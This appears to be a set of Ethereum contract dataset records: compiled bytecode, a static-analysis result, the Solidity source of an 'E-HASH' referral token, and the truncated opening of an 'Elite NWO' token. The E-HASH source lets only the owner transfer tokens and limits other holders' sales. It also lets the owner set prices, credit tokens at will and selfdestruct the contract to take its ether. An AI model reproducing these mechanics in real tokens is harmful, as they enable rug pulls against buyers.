90815260200160002054101561088157600080fd5b61091084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c8990919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099b868686610cd3565b6001925050509392505050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600560009054906101000a900460ff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a69611154565b610a736000610bb5565b565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0d5780601f10610ae257610100808354040283529160200191610b0d565b820191906000526020600020905b815481529060010190602001808311610af057829003601f168201915b5050505050905090565b6000610b24338484610cd3565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bbd611154565b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015610c7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610ccb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611168565b905092915050565b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d5a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610de1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b848484610dee8383611228565b610fa457610dfa6113e3565b610e6586604051806060016040528060268152602001611798602691396000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef8866000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0190919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a361114a565b61100f86604051806060016040528060268152602001611798602691396000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a2866000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0190919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a35b5050505050505050565b61115d336109a8565b61116657600080fd5b565b6000838311158290611215576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111da5780820151818401526020810190506111bf565b50505050905090810190601f1680156112075780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16600014801561128f575061128d826109a8565b155b1561133c576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1601600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505b61136a600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166115f8611491565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1610806113cb57506113ca836109a8565b5b806113db57506113da826109a8565b5b905092915050565b6113eb611154565b6000611418600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a19565b111561148f57600061145f611388611451600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a19565b6114ab90919063ffffffff16565b905061148d600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826114f5565b505b565b60008161ffff1661ffff84161862ffffff16905092915050565b60006114ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116af565b905092915050565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561157c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b6115e782604051806060016040528060228152602001611776602291396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163e82600254610c8990919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b6000808311829061175b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611720578082015181840152602081019050611705565b50505050905090810190601f16801561174d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161176757fe5b04905080915050939250505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a2043616e6e6f7420626520746865207a65726f2061646472657373a2646970667358221220399d8e9640265934e7f8dbd0c72698313a81afe116321aaf88e944dba574902964736f6c63430007040033
|
{"success": true, "error": null, "results": {}}
| 3,295 |
0xaeea3b5f2474a3bb8383b7ba941f57351187afa0
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract EHA {
using SafeMath for uint256;
/*==============================
= E-HASH EVENTS =
==============================*/
event Approved(
address indexed spender,
address indexed recipient,
uint256 tokens
);
event Buy(
address indexed buyer,
uint256 tokensTransfered,
uint256 tokenToTransfer,
uint256 referralBal
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event sold(
address indexed seller,
uint256 calculatedEtherTransfer,
uint256 tokens
);
event stake(
address indexed staker,
uint256 amount,
uint256 timing
);
event onWithdrawal(
address indexed holder,
uint256 amount
);
/*=====================================
= E-HASH CONFIGURABLES =
=====================================*/
string public token_name;
string public token_symbol;
uint8 public decimal;
uint256 public token_price = 120000000000000;
uint256 public basePrice1 = 120000000000000;
uint256 public basePrice2 = 210000000000000;
uint256 public basePrice3 = 350000000000000;
uint256 public basePrice4 = 580000000000000;
uint256 public basePrice5 = 1100000000000000;
uint256 public basePrice6 = 3000000000000000;
uint256 public basePrice7 = 14000000000000000;
uint256 public basePrice8 = 35000000000000000;
uint256 public basePrice9 = 140000000000000000;
uint256 public basePrice10 = 370000000000000000;
uint256 public basePrice11= 650000000000000000;
uint256 public basePrice12 = 1740000000000000000;
uint256 public basePrice13 = 4840000000000000000;
uint256 public initialPriceIncrement = 0;
uint256 public currentPrice;
uint[3] percentage = [11, 4, 1];
uint256 public totalSupply_;
uint256 public tokenSold = 20000;
address payable owner;
address stakeHolder;
mapping(address => uint256) public tokenLedger;
mapping(address => mapping(address => uint256)) public allowed;
mapping(address => address) public gen_tree;
mapping(address => uint256) public levelIncome;
mapping(address => uint256) public mode;
mapping(address => uint256) public rewardIncome;
mapping(address => uint256) public allTimeSell;
modifier onlyOwner {
require(msg.sender == owner, "Caller is not the owner");
_;
}
constructor(string memory _tokenName, string memory _tokenSymbol, uint256 initialSupply) public {
owner = msg.sender;
stakeHolder = owner;
token_name = _tokenName;
token_symbol = _tokenSymbol;
decimal = 0;
currentPrice = token_price + initialPriceIncrement;
totalSupply_ = initialSupply;
tokenLedger[owner] = tokenSold;
}
/*=====================================
= E-HASH Methods =
=====================================*/
function contractAddress() public view returns(address) {
return address(this);
}
function get_level_income() public view returns(uint256) {
return levelIncome[msg.sender];
}
function updateCurrentPrice(uint256 _newPrice) external onlyOwner returns (bool) {
currentPrice = _newPrice;
return true;
}
function getTaxedEther(uint256 incomingEther) public pure returns(uint256) {
uint256 deduction = incomingEther * 15000 / 100000;
uint256 taxedEther = incomingEther - deduction;
return taxedEther;
}
function etherToToken(uint256 incomingEtherWei) public view returns(uint256) {
uint256 tokenToTransfer = incomingEtherWei.div(currentPrice);
return tokenToTransfer;
}
function tokenToEther(uint256 tokenToSell) public view returns(uint256) {
uint256 convertedEther = tokenToSell * currentPrice;
return convertedEther;
}
function taxedTokenTransfer(uint256 incomingEther) internal view returns(uint256) {
uint256 deduction = incomingEther * 15000/100000;
uint256 taxedEther = incomingEther - deduction;
uint256 tokenToTransfer = taxedEther.div(currentPrice);
return tokenToTransfer;
}
function balanceOf(address _customerAddress) external
view
returns(uint256)
{
return tokenLedger[_customerAddress];
}
function getCurrentPrice() public view returns(uint) {
return currentPrice;
}
function name() public view returns(string memory) {
return token_name;
}
function symbol() public view returns(string memory) {
return token_symbol;
}
function decimals() public view returns(uint8){
return decimal;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function stake_funds() public view returns(uint256) {
return tokenLedger[stakeHolder];
}
function setName(string memory _name)
onlyOwner
public
{
token_name = _name;
}
function setSymbol(string memory _symbol)
onlyOwner
public
{
token_symbol = _symbol;
}
function add_level_income( address user, uint256 numberOfTokens) public returns(bool) {
address referral;
for( uint i = 0 ; i < 3; i++ ){
referral = gen_tree[user];
if(referral == address(0)) {
break;
}
uint256 convertedEther = tokenLedger[referral] * currentPrice;
if( convertedEther >= 100000000000000000 ){
uint256 commission = numberOfTokens * percentage[i] / 100;
levelIncome[referral] = levelIncome[referral].add(commission);
}
user = referral;
}
}
function buy_token(address _referredBy ) external payable returns (bool) {
require(_referredBy != msg.sender, "Self reference not allowed");
address buyer = msg.sender;
uint256 etherValue = msg.value;
uint256 taxedTokenAmount = taxedTokenTransfer(etherValue);
uint256 tokenToTransfer = etherValue.div(currentPrice);
require(tokenToTransfer >= 5, "Minimum E-hash purchase limit is 5");
require(buyer != address(0), "Can't send to Zero address");
uint256 referralTokenBal = tokenLedger[_referredBy];
if( etherValue >= 200000000000000000 ){
rewardIncome[buyer] = rewardIncome[buyer].add(100);
}
if(mode[buyer] == 0) {
gen_tree[buyer] = _referredBy;
mode[buyer] = 1;
}
if(tokenToTransfer >= 60){
add_level_income(buyer, tokenToTransfer);
}
emit Transfer(address(this), buyer, taxedTokenAmount);
tokenLedger[buyer] = tokenLedger[buyer].add(taxedTokenAmount);
tokenSold = tokenSold.add(tokenToTransfer);
priceAlgoBuy(tokenToTransfer);
emit Buy(buyer,taxedTokenAmount, tokenToTransfer, referralTokenBal);
return true;
}
function sell( uint256 tokenToSell ) external returns(bool){
require(tokenSold >= tokenToSell, "Token sold should be greater than zero");
require(tokenToSell >= 5, "Minimum token sell amount is 5 E-hash");
require(msg.sender != address(0), "address zero");
require(tokenToSell <= tokenLedger[msg.sender], "insufficient balance");
if(msg.sender != owner) {
require(tokenToSell <= 500, "One time transfer is 500");
require(allTimeSell[msg.sender] <= 500, "Try again later");
allTimeSell[msg.sender] = allTimeSell[msg.sender].add(tokenToSell);
}
uint256 convertedWei = etherValueTransfer(tokenToSell);
tokenLedger[msg.sender] = tokenLedger[msg.sender].sub(tokenToSell);
tokenSold = tokenSold.sub(tokenToSell);
priceAlgoSell(tokenToSell);
msg.sender.transfer(convertedWei);
emit Transfer(msg.sender, address(this), tokenToSell);
emit sold(msg.sender,convertedWei, tokenToSell);
return true;
}
function etherValueTransfer(uint256 tokenToSell) public view returns(uint256) {
uint256 convertedEther = tokenToSell * currentPrice;
return convertedEther;
}
function totalEthereumBalance() external onlyOwner view returns (uint256) {
return address(this).balance;
}
function mintToken(uint256 _mintedAmount) onlyOwner public {
totalSupply_ = totalSupply_.add(_mintedAmount);
}
function destruct() onlyOwner() public{
selfdestruct(owner);
}
function withdrawReward(uint256 numberOfTokens, address _customerAddress)
onlyOwner
public
{
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(numberOfTokens);
}
function withdraw_bal(uint256 numberOfTokens, address _customerAddress)
public returns(bool)
{
require(numberOfTokens >= 10, "Minimum E-hash withdrawal amount is 10 E-hash");
require(_customerAddress != address(0), "address zero");
require(numberOfTokens <= levelIncome[_customerAddress], "insufficient bonus");
levelIncome[_customerAddress] = levelIncome[_customerAddress].sub(numberOfTokens);
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(numberOfTokens);
emit onWithdrawal(_customerAddress, numberOfTokens);
return true;
}
function holdStake(uint256 _amount, uint256 _timing)
public
{
address _customerAddress = msg.sender;
require(_amount <= tokenLedger[_customerAddress], "insufficient balance");
require(_amount >= 20, "Minimum stake is 20 E-hash");
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amount);
tokenLedger[stakeHolder] = tokenLedger[stakeHolder].add(_amount);
emit stake(_customerAddress, _amount, _timing);
}
function unstake(uint256 _amount, address _customerAddress)
onlyOwner
public
{
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(_amount);
tokenLedger[stakeHolder] = tokenLedger[stakeHolder].sub(_amount);
}
function alot_tokens(uint256 _amountOfTokens, address _toAddress) onlyOwner public returns(bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenLedger[_customerAddress]);
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amountOfTokens);
tokenLedger[_toAddress] = tokenLedger[_toAddress].add(_amountOfTokens);
return true;
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyOwner
public
returns(bool)
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenLedger[_customerAddress]);
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amountOfTokens);
tokenLedger[_toAddress] = tokenLedger[_toAddress].add(_amountOfTokens);
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function transferFrom(address _from, address _to, uint256 tokens) public returns(bool success) {
require(tokens <= tokenLedger[_from]);
require(tokens > 0);
require(tokens <= allowed[_from][msg.sender]);
tokenLedger[_from] = tokenLedger[_from].sub(tokens);
tokenLedger[_to] = tokenLedger[_to].add(tokens);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(tokens);
emit Transfer(_from, _to, tokens);
return true;
}
function priceAlgoBuy(uint256 tokenQty) internal{
if ( tokenSold >= 0 && tokenSold <= 35000 ) {
currentPrice = basePrice1;
basePrice1 = currentPrice;
}
if ( tokenSold >= 35000 && tokenSold <= 100000 ) {
initialPriceIncrement = tokenQty * 200000000;
currentPrice = basePrice2 + initialPriceIncrement;
basePrice2 = currentPrice;
}
if ( tokenSold > 100000 && tokenSold <= 150000 ) {
initialPriceIncrement = tokenQty * 300000000;
currentPrice = basePrice3 + initialPriceIncrement;
basePrice3 = currentPrice;
}
if ( tokenSold > 150000 && tokenSold <= 200000 ) {
initialPriceIncrement = tokenQty * 450000000;
currentPrice = basePrice4 + initialPriceIncrement;
basePrice4 = currentPrice;
}
if ( tokenSold > 200000 && tokenSold <= 250000 ) {
initialPriceIncrement = tokenQty * 770000000;
currentPrice = basePrice5 + initialPriceIncrement;
basePrice5 = currentPrice;
}
if ( tokenSold > 250000 && tokenSold <= 300000 ) {
initialPriceIncrement = tokenQty * 870000000;
currentPrice = basePrice6 + initialPriceIncrement;
basePrice6 = currentPrice;
}
if ( tokenSold > 300000 && tokenSold <= 350000 ) {
initialPriceIncrement = tokenQty * 5725000000;
currentPrice = basePrice7 + initialPriceIncrement;
basePrice7 = currentPrice;
}
if ( tokenSold > 350000 && tokenSold <= 400000 ) {
initialPriceIncrement = tokenQty * 9725000000;
currentPrice = basePrice8 + initialPriceIncrement;
basePrice8 = currentPrice;
}
if ( tokenSold > 400000 && tokenSold <= 450000 ) {
initialPriceIncrement = tokenQty * 13900000000;
currentPrice = basePrice9 + initialPriceIncrement;
basePrice9 = currentPrice;
}
if ( tokenSold > 450000 && tokenSold <= 500000 ) {
initialPriceIncrement = tokenQty * 34200000000;
currentPrice = basePrice10 + initialPriceIncrement;
basePrice10 = currentPrice;
}
if ( tokenSold > 500000 && tokenSold <= 550000 ) {
initialPriceIncrement = tokenQty * 103325000000;
currentPrice = basePrice11 + initialPriceIncrement;
basePrice11 = currentPrice;
}
if(tokenSold > 550000 && tokenSold <= 600000){
initialPriceIncrement = tokenQty*394050000000;
currentPrice = basePrice12 + initialPriceIncrement;
basePrice12 = currentPrice;
}
if(tokenSold > 600000 && tokenSold <= 650000){
initialPriceIncrement = tokenQty*694050000000;//
currentPrice = basePrice13 + initialPriceIncrement;
basePrice13 = currentPrice;
}
}
function priceAlgoSell(uint256 tokenQty) internal{
if ( tokenSold >= 0 && tokenSold <= 35000 ) {
currentPrice = basePrice1;
basePrice1 = currentPrice;
}
if ( tokenSold >= 35000 && tokenSold <= 100000 ) {
initialPriceIncrement = tokenQty * 200000000;
currentPrice = basePrice2 - initialPriceIncrement;
basePrice2 = currentPrice;
}
if ( tokenSold > 100000 && tokenSold <= 150000 ) {
initialPriceIncrement = tokenQty * 300000000;
currentPrice = basePrice3 - initialPriceIncrement;
basePrice3 = currentPrice;
}
if ( tokenSold > 150000 && tokenSold <= 200000 ) {
initialPriceIncrement = tokenQty * 450000000;
currentPrice = basePrice4 - initialPriceIncrement;
basePrice4 = currentPrice;
}
if ( tokenSold > 200000 && tokenSold <= 250000 ) {
initialPriceIncrement = tokenQty * 770000000;
currentPrice = basePrice5 - initialPriceIncrement;
basePrice5 = currentPrice;
}
if ( tokenSold > 250000 && tokenSold <= 300000 ) {
initialPriceIncrement = tokenQty * 870000000;
currentPrice = basePrice6 - initialPriceIncrement;
basePrice6 = currentPrice;
}
if ( tokenSold > 300000 && tokenSold <= 350000 ) {
initialPriceIncrement = tokenQty * 5725000000;
currentPrice = basePrice7 - initialPriceIncrement;
basePrice7 = currentPrice;
}
if ( tokenSold > 350000 && tokenSold <= 400000 ) {
initialPriceIncrement = tokenQty * 9725000000;
currentPrice = basePrice8 - initialPriceIncrement;
basePrice8 = currentPrice;
}
if ( tokenSold > 400000 && tokenSold <= 450000 ) {
initialPriceIncrement = tokenQty * 13900000000;
currentPrice = basePrice9 - initialPriceIncrement;
basePrice9 = currentPrice;
}
if ( tokenSold > 450000 && tokenSold <= 500000 ) {
initialPriceIncrement = tokenQty * 34200000000;
currentPrice = basePrice10 - initialPriceIncrement;
basePrice10 = currentPrice;
}
if ( tokenSold > 500000 && tokenSold <= 550000 ) {
initialPriceIncrement = tokenQty * 103325000000;
currentPrice = basePrice11 - initialPriceIncrement;
basePrice11 = currentPrice;
}
if(tokenSold > 550000 && tokenSold <= 600000){
initialPriceIncrement = tokenQty*394050000000;
currentPrice = basePrice12 - initialPriceIncrement;
basePrice12 = currentPrice;
}
if(tokenSold > 600000 && tokenSold <= 650000){
initialPriceIncrement = tokenQty*694050000000;//
currentPrice = basePrice13 - initialPriceIncrement;
basePrice13 = currentPrice;
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,296 |
0xb488ef182517f928e3148f88bbdd362ba4036a18
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
// SPDX-License-Identifier: UNLICENSED
/*
░░░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▓▓▒▒▓▓▒▒▓▓░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░▓▓▓▓▒▒▓▓▒▒▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░▓▓▓▓░░▓▓░░▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░▓▓▓▓▓▓░░░░░░░░▓▓▓▓░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░▓▓░░░░░░░░░░░░░░▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░██▓▓░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓██░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░▓▓▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒▓▓▓▓░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░▓▓▒▒▒▒▓▓░░░░░░░░░░▓▓▒▒▒▒██░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░██▓▓░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░░░
░░░░░░░░░░░░░░██▓▓░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░██▒▒░░░░░░░░░░░░
░░░░░░░░░░░░██▓▓▓▓▒▒░░░░ ▓▓▓▓▓▓▓▓░░░░▓▓██░░░░░░░░░░░░
▒▒▒▒▒▒▒▒▒▒▒▒██▓▓░░░░░░░░░░░░░░░░░░░░▓▓▓▓▒▒░░██▒▒▒▒▒▒░░░░▒▒
▒▒▒▒▒▒▒▒▒▒██░░░░▓▓▓▓██████████████░░░░▒▒▓▓▒▒░░██▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒██▓▓▓▓██████▓▓ ▓▓██████░░▒▒░░▒▒██▒▒▒▒▒▒▒▒▒▒
▓▓▓▓▓▓▒▒██▓▓██████▓▓▓▓▓▓░░ ▒▒▓▓▓▓▓▓████████▓▓▒▒██▓▓▓▓▓▓▓▓
▒▒▒▒▒▒▒▒██████ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░ ████▓▓▓▓██▒▒▒▒▒▒▒▒
▒▒▒▒▒▒██▓▓████ ░░▓▓▓▓▓▓▓▓▓▓░░ ░░██████▓▓██▒▒▒▒▒▒
▓▓▓▓▒▒██▓▓░░██░░ ░░▓▓▓▓▓▓░░ ░░██████▓▓██▒▒▒▒▒▒
▒▒▒▒██▓▓░░░░░░░░░░ ░░░░░░░░▓▓▓▓▓▓██▒▒▒▒
▒▒▒▒██▓▓░░░░░░▓▓░░░░░░░░░░░░░░░░░░░░░░▓▓▓▓░░░░▓▓░░▓▓██▒▒▒▒
▒▒██▓▓▓▓▓▓░░▓▓░░░░▓▓░░░░░░░░░░░░░░░░▓▓░░░░░░▓▓░░▒▒▓▓▓▓██▒▒
▒▒██▓▓▒▒░░▓▓░░▓▓░░░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░▓▓░░▓▓▓▓▒▒▓▓██▒▒
██▒▒▒▒░░▒▒▒▒░░▒▒▓▓▓▓░░░░░░░░░░░░░░░░▓▓░░▓▓▓▓▒▒▓▓▒▒▓▓▒▒▒▒██
██████████████████████████████████████████████████████████
Do you have what it takes to join us?
Website: www.theelitenwo.com
Twitter: www.twitter.com/theelitenwo
Medium: www.medium/@theelitenwo
Telegram: https://t.me/theelitenwo
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
